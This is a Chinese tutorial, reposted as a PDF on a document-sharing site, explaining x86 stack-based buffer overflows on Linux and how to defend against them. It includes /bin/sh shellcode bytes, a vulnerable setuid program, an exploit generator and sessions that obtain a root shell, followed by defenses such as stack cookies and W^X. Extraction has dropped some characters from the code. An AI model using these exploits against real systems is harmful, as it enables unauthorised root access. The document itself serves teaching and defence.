《2022年2022年缓冲区溢出攻击原理与防范 .pdf》由会员分享,可在线阅读,更多相关《2022年2022年缓冲区溢出攻击原理与防范 .pdf(11页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、缓冲区溢出攻击的原理与防范陈硕2004-7-12 读者基础: 熟悉 C 语言及其内存模型,了解x86 汇编语言。缓冲区溢出 (buffer overflow)是安全的头号公敌,据报道,有50% 以上的安全漏洞和缓冲区溢出有关。 C/C+ 语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。本文以Linux on IA32(32-bit Intel Architecture,即常说的x86)为平台,介绍缓冲区溢出的原理与防范措施。按照被攻击的缓冲区所处的位置,缓冲区溢出 (buffer overflow)大致可分为两类:堆溢出1(heap overflow )和 栈溢出2( stac
2、k overflow ) 。栈溢出较为简单,我先以一些实例介绍栈溢出,然后谈一谈堆溢出的一般原理。栈 溢 出 原 理我们知道,栈 (stack) 是一种基本的数据结构,具有后入先出 (LIFO, Last-In-First-Out)的性质。在x86 平台上,调用函数时实际参数(arguments ) 、返回地址( return address) 、局部变量( local variables )都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针(stack pointer)寄存器ESP始终指向栈顶元素。以图表1 中的简单程序为例,我们先将它编译为可执行文件,然后在gdb 中反汇编并跟踪其运
3、行:$ gcc stack.c o stack -ggdb -mperferred-stack-boundary=2 在 IA32 上, gcc 默认按 8 个字节对齐,为了突出主题,我们令它按4 字节对齐,最末一个参数的用处在此。图表 1 在每条语句之后列出对应的汇编指令,注意这是AT&T 格式汇编,mov %esp, %ebp 是将寄存器ESP的值赋给寄存器EBP(这与常用的Intel汇编格式正好相反) 。/ stack.c #01 int add(int a, int b) #02 / push %ebp / mov %esp,%ebp #03 int sum; / sub $0 x4,
4、%esp#04 sum = a + b; / mov 0 xc(%ebp),%eax / add 0 x8(%ebp),%eax / mov %eax,0 xfffffffc(%ebp)#05 return sum; / mov 0 xfffffffc(%ebp),%eax 1本文把 静态存储区溢出 也算作一种 堆溢出 。2 Stack 通常翻译为“ 堆栈 ” ,为避免与文中出现的“堆/heap ”混淆,这里简称为“栈” 。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页,共
5、11 页 - - - - - - - - - / leave / ret#06 #07 #08 int main() #09 / push %ebp / mov %esp,%ebp#10 int ret = 0 xDEEDBEEF; / sub $0 x4,%esp / movl $0 xdeedbeef,0 xfffffffc(%ebp)#11 ret = add(0 x19, 0 x82); / push $0 x82 / push $0 x19 / call 80482f4 / add $0 x8,%esp / mov %eax,0 xfffffffc(%ebp)#12 return r
6、et; / mov 0 xfffffffc(%ebp),%eax / leave / ret #13 图表 1 典型的函数调用当程序执行完第10 行时,堆栈如图表2 所示。图中每格表示一个double word (4 字节)。图表 2 堆栈状况1 EBP是栈帧指针( frame pointer) ,在整个函数的运行过程中,它始终指向间于返回地址和局部变量之间的一个double word,此处保存着调用端函数(caller )的EBP 值(第 9 行对应的两条指令正是起这个作用)。EBP所指的位置之下是局部变量,例如EBP-4是变量ret的地址,-4的补码表示正好是0 xFFFFFFFC ,第
7、11行上方的movl指令将 0 xDEEDBEEF存入变量ret。当函数返回时,须将EBP恢复原值。leave指令相当于:mov %ebp, %esp / 先令 esp 指向 saved ebppop %ebp / 弹出栈顶内容至ebp ,此时 esp 正好指向返回地址,ebp 也恢复原值ret指令的作用是将栈顶元素(ESP所指之处)弹出至指令指针EIP,完成函数返回动作。执行第 11 条语句时,先将add()的两个参数按从右到左的顺序压入堆栈,call指令会先把返回地址(也就是call指令的 下一条指令 的地址,此处为一条add指令3)压入堆栈,3C 语言为了实现变长参数调用(就像print
8、f()) ,通常规定由调用端负责清理堆栈,这条add 指令正是起平衡堆栈的作用。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 11 页 - - - - - - - - - 然后修改指令指针EIP,使程序流程(flow )到达被调用函数处(第2 行) 。当程序运行到第 4 行时,堆栈的情况如图表3 所示。图表 3 堆栈情况2 图中灰色部分是main()的栈帧( stack frame ,又称活动记录:activation record) ,其下是add()的栈帧,从中可以
9、看出,保存函数返回地址(return addr)的位置比第一个局部变量高 8 字节。由此我们想到,函数可以修改自己的返回地址。下面我们做一个试验。/ retaddr.c#01 #include #02 #03 void malice() #04 #05 printf(Hey, youve been attacked.n); #06 #07 #08 void foo() #09 #10 int* ret; #11 ret = (int*)&ret + 2; / get the addr of return addr #12 (*ret) = (int)malice; / set my retur
10、n addr to malice() #13 #14 #15 int main() #16 #17 foo(); #18 return 0; #19 图表 4 改变函数返回地址图表 4 列出了一个函数改变自己返回地址的程序,foo()函数将自己的返回地址改为malice()函数。编译运行这个程序,结果如下:$ gcc retaddr.c -o retaddr -ggdb -mpreferred-stack-boundary=2$ ./retaddr Hey, youve been attacked. 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - -
11、- - - - - 名师精心整理 - - - - - - - 第 3 页,共 11 页 - - - - - - - - - Segmentation fault (core dumped) core dump4发生在malice()返回时,我们来分析一下究竟发生了什么。首先,在进入main()函数后,在执行第17 行之前,堆栈情况如图表5-(a)所示,这是main()的栈帧;随后,进入函数foo(),在执行第11行之前,堆栈布局如图表5-(b) 所示,灰色部分是调用端main()的栈帧;执行第 11行之后,ret 指向函数的返回地址(图表 5-(c)) ; 第 12 行修改*ret,将返回地址
12、设为malice()的入口。foo()函数结束后,本应返回到main(),执行第 18 行的语句return 0;然而由于返回地址被修改,foo()函数返回后进入函数malice(),在执行第 5 行之前,堆栈的情况如图表5-(d) 。这时堆栈已被破坏,malice()函数的返回地址处存放的是main()函数保存的EBP值 (图中的 saved EBP*) ,malice()函数返回后,会跳转到 saved EBP*所指的地址, oops!接下来发生的事情想必大家都知道了?(a) (b) (c) (d) 图表 5 堆栈情况3 继续我们的试验:如何让这个程序正常退出?我想到的办法是,利用main
13、()函数的局部变量伪造一个貌似合法的堆栈,让malice()返回后,程序得以安全退出。办法很简单,在malice()的返回地址处放上exit()的入口地址 ? ,当然,我们还要顺便伪造传给exit()的参数。改进后的main() 见图表6。4如果没有出现core dumped字样,请先执行ulimit c unlimited。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页,共 11 页 - - - - - - - - - #02 #include #15 int main()
14、 #16 #17 volatile int exit_val = 100; #18 volatile int dumy = 0; #19 volatile void* ret_addr = &exit; #20 foo(); #21 图表 6 改进后的“修改函数返回地址”示例使用 volatile 关键字是为了防止编辑器将这些看似没用的局部变量优化掉。进入函数malice()后,堆栈情况如图表 7-(a) 所示。与图表 5-(d) 比较可知,malice()会把ret_addr作为自己的返回地址,我们已在此处填上了exit()的入口地址。 当malice()返回后,程序进入exit()函数,这
15、时堆栈如图表 7-(b) 所示(注意,exit()没有保存ESP) 。exit()函数会把100 认为是传递给自己的参数,还会认为返回地址是0,但是exit()永不返回,所以不会造成core dump ,程序正常结束,返回给操作系统的代码是100。(a) (b) 图表 7 堆栈情况4 有了以上对函数调用栈的了解,接下来, 我们可以谈谈栈上的缓冲区溢出了。利用缓冲区溢出,我们能 1) 自由修改EIP,控制程序流程;2) 植入 shellcode ,获得 root shell 。所谓 shellcode ,是指能调出shell 的程序,功能如同shellcode1.c(图表8) 。#01 #inc
16、lude #02 #03 int main() #04 #05 char* name2; #06 #07 setuid(0); / required if bash is used#08 name0 = /bin/sh; #09 name1 = NULL; #10 execve(name0, name, NULL); #11 return 0; #12 图表 8 shellcode1.c名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 5 页,共 11 页 - - - - - - -
17、- - 如果以 root 权限执行这段程序,我们就能获得一个root shell ,Wow! 先试一把:$ gcc -o shellcode1 shellcode1.c$ whoamischen $ ./shellcode1sh-2.05b$ whoamischen 咦?怎么没有变身root ?噢,忘了将shellcode1的 owner 设为 root ,还要设置suid位:$ sudo chown root shellcode1$ sudo chmod +s shellcode1$ whoamischen $ ./shellcode1sh-2.05b# whoamiroot sh-2.05
18、b# id/ 不放心,再确认一下?uid=0(root) gid=500(schen) groups=500(schen) 当然,我们不能直接使用图表8 中的程序,需要把它转换为机器码,再注入缓冲区。与这段程序功能相同的机器码是5char shellcode = / 为适应 strcpy(), shellcode中不能出现 0 xebx1fx5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0cxcdx80 x31xdbx89xd8x40 xcd x80 x31xc0 xb0 x17x31xdbxcdx80 xe
19、8xd4xffxffxff/bin/sh; 先用图表9 的程序验证一下这段机器码的功能与图表8 的 C 程序相同。#01 char shellcode = #02 xebx1f / 同上,略#06 int main() #07 #08 int* ret; #09 #10 ret = (int*)&ret + 2; #11 (*ret) = (int)shellcode; #12 return 0; #13 图表 9 shellcode2.c $ gcc shellcode2.c -o shellcode2 -mpreferred-stack-boundary=2$ sudo chown roo
20、t shellcode2$ sudo chmod +s shellcode2$ ./shellcode2sh-2.05b# whoamiroot 验证通过!接下来,我们写一个程序,让它以root 权限运行的,在设法利用其中的漏5 shellcode的构造方法不是文本的重点,请参阅文献1第 3 章。此处用到的shellcode 取自文献 5 。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 6 页,共 11 页 - - - - - - - - - 洞让它执行这段shellcode ,
21、这样就能获得root shell , 达到攻击的目的。 程序代码见图表 10 。#01 #include #02 #include #03 #04 int main(int argc, char* argv) #05 #06 char buf100; #07 #08 printf(%pn, buf); / we are cheating here ?#09 #10 if (argc 1) #11 strcpy(buf, argv1); #12 #13 return 0; #14 图表 10 victim.cmain()函数使用长度为100 字节的局部数组(local array )buf充当缓
22、冲区,而且故意犯了一个典型错误:使用strcpy而没有检查目标缓冲区大小。main()函数的栈帧情况见图表 11 。数组是自低向高增长,如果写越界,就会改写堆栈高端的内容,那里存放着函数的返回地址。图表 11 victim.c 中的 main() 栈帧我们构造一个足够覆盖return addr的字符串( 128 字节)作为victim的参数,这个字符串的格式为:其中addr均是 double word,指向buf的首地址。为便于实验,我们在victim中把buf的名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 -
23、- - - - - - 第 7 页,共 11 页 - - - - - - - - - 首地址打印出来。这种格式适合较大的缓冲区,它要求缓冲区buf长度大于shellcode 的长度。我写了个程序 (attack.c , 图表 13 ) , 将以上字符串存为文件,再读取文件内容作为victim的参数。 victim用strcpy()将输入字符串复制到栈上的缓冲区buf,字符串中的addr域会覆盖main()的返回地址,让main()退出后执行shellcode 。当victim.c执行完第 11 行时,堆栈的情况如图表 12 。图表 12 被攻击后的堆栈char shellcode = xebx
24、1f / 同上,略int main(int argc, char* argv) char buf128; int i; int addr = 0 xBFFFF980; FILE* fp = NULL; if (argc 1) addr = (int)strtoul(argv1, NULL, 16); for (i = 0; i sizeof(buf) / sizeof(int); +i) *(int*)buf + i) = addr; printf(Try addr : %pn, addr); memcpy(buf, shellcode, strlen(shellcode); fp = fop
25、en(buffer, w); if (fp) fwrite(buf, sizeof(buf), 1, fp); fclose(fp); return 0; 图表 13 attack.c接下来,试验攻击。先编译victim和 attack ,并给 victim设上suid位。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 8 页,共 11 页 - - - - - - - - - $ gcc -o victim victim.c$ gcc -o attack attack.c$ sudo
26、 chown root victim$ sudo chmod +s victim然后运行 victim获得buf的首地址,按地址生成攻击字符串,存为文件buffer。$ ./victim0 xbffffad0 $ ./attack 0 xbffffad0Try addr : 0 xbffffad0 用文件buffer的内容作为victim 的参数,尝试攻击:$ ./victim cat buffer0 xbffffa40 Segmentation fault 奇怪,受传入参数的影响,buf的首地址变了,攻击失败。按照新地址生成攻击字符串,再试一次,这次我们成功拿到了root 权限。$ ./at
27、tack 0 xbffffa40Try addr : 0 xbffffa40 $ ./victim cat buffer0 xbffffa40 sh-2.05b# whoamiroot 以上攻击过程在RedHat Linux 8.0上验证通过,但在 RedHat Linux 9.0中, 由于 victim每次运行时buf的首地址不固定(前后波动可达数十KB) ,这种攻击方法十次中也难得成功一次。为此,我们在shellcode之前添加一些NOP指令( opcode 为 0 x90 ) ,以增加攻击的成功率,修改后的攻击字符串格式为:这样只要addr指向NOPs 区域中的任何一点,都能执行到she
28、llcode ,从而完成攻击。如果缓冲区不够放下shellcode ,那么可以采用第二种攻击字符串格式:这时同样可以在shellcode 之前填补一些NOP指令以提高攻击的成功率。利用缓冲区溢出除了能修改函数返回地址,还可以修改函数的敏感参数(如传入的函数指针、密码字符串等) ,同样达到攻击的目的。C+ 语言的 vtable 是个函数指针数组,自然也可成为攻击的目标。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 9 页,共 11 页 - - - - - - - - - 防 御 措
29、施栈上的缓冲区溢出可以修改函数的返回地址和传入参数,如果在进入函数时,将这些敏感数据复制一份放在局部变量之下,在退出函数时用备份的数据覆盖原数据,那么即便出现缓冲区溢出,也没有多大伤害。另外可以在局部变量之前放一个cookie ,在退出函数时检查 cookie 是否被修改,从而监测有无缓冲区溢出。这两点可由编译器帮我们做到。栈上的数据既可以修改,又可以当作指令来执行,这是本文介绍的这种栈溢出攻击的条件。现在某些操作系统如Solaris 、OpenBSD 以及不久之后的Windows有所谓的WX特性,即一块内存区域不能既可写又可执行,这样就能防御这类栈溢出攻击。不过道高一尺,魔高一丈,我们可以利
30、用“return to libc”技术来达到攻击目的。前面图表6 的例子已经看到,函数的返回地址可设为某一库函数。如果我们伪造一些参数(比如字符串/bin/sh) ,再修改函数返回地址,让它执行system()函数,一样可以获得root shell 。缓冲区溢出的历史几乎和C 语言一样久远, C 语言本身不检查下标越界,而常用的标准库函数如gets、strcpy、sprintf等等也无处指明目标缓冲区的大小。受当时历史条件限制,C 语言这么设计是出于效率考虑,而且 C 语言充分相信程序员的能力。然而这多少也纵容了人们在编码时忽视检查缓冲区溢出。而现在编程教材似乎也不强调让学生养成检查目标缓冲区
31、大小以避免溢出的好习惯。避免缓冲区溢出,我觉得最重要的还是从源头做起,培养良好的编程习惯,包括检查数组边界、用fgets替代gets、用strncpy或strlcpy替代strcpy, 用snprint替代sprint等等。( C99 标准刚加入可以指明目标缓冲区大小的snprint函数。 )只要小心在意,在编码时完全可以预防缓冲区溢出。堆 溢 出 简 介堆(heap)指的是以malloc()动态分配的内存,C+ 把以 new 动态分配的内存叫free store ,其实和 堆是一回事。在heap、全局变量、静态(static )变量中溢出的情况都算作堆溢出。堆溢出攻击的主要手段是改写内存中的
32、密码、函数指针、文件名、UID等数据,达到提升特权级别的目的。堆溢出通常要求对malloc()所用的数据结构有深入了解,它比栈溢出难度大。参 考 文 献本文栈溢出的内容主要参考了文献1,其第 3 章专门介绍怎样编写shellcode 。本文用到的 shellcode取自文献 5 。堆溢出请参考文献1 第 4 章和 2 。文献 3 和4 对编写安全的软件有非常好的建议。6 、7 、8 是缓冲区溢出攻击的经典文献。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 10 页,共 11 页 -
33、 - - - - - - - - P.S. 因为我使用的绘图软件gpic 不支持中文,所以本文所有图片中的文字均为英文,请读者见谅。1 Jack Koziol et al. The Shellcoder s Handbook. Wiley. 2004. 2 Cyrus Peikari, Anton Chuvakin. Security Warrior . O Reilly. 2004. 3 David A. Wheeler. Secure Programming for Linux and Unix HOWTO. 2003. http:/ John Viega, Gary McGraw. Bu
34、ilding Secure Software . Addison Wesley. 2002. 中译本:构建安全的软件 。钟向群王鹏 译。清华大学出版社。2003 年。5 王勇。 Linux 下缓冲区溢出攻击的原理及对策。2003 年。http:/ Aleph One. Smashing The Stack For Fun And Profit. 1996. http:/www.phrack.org/phrack/49/P49-147 Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffr Overflow Study: Attacks & Defenses. 2002. http:/ w00w00 on Heap Overflows. http:/www.w00w00.org/files/articles/heaptut-chinese.txt名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 11 页,共 11 页 - - - - - - - - -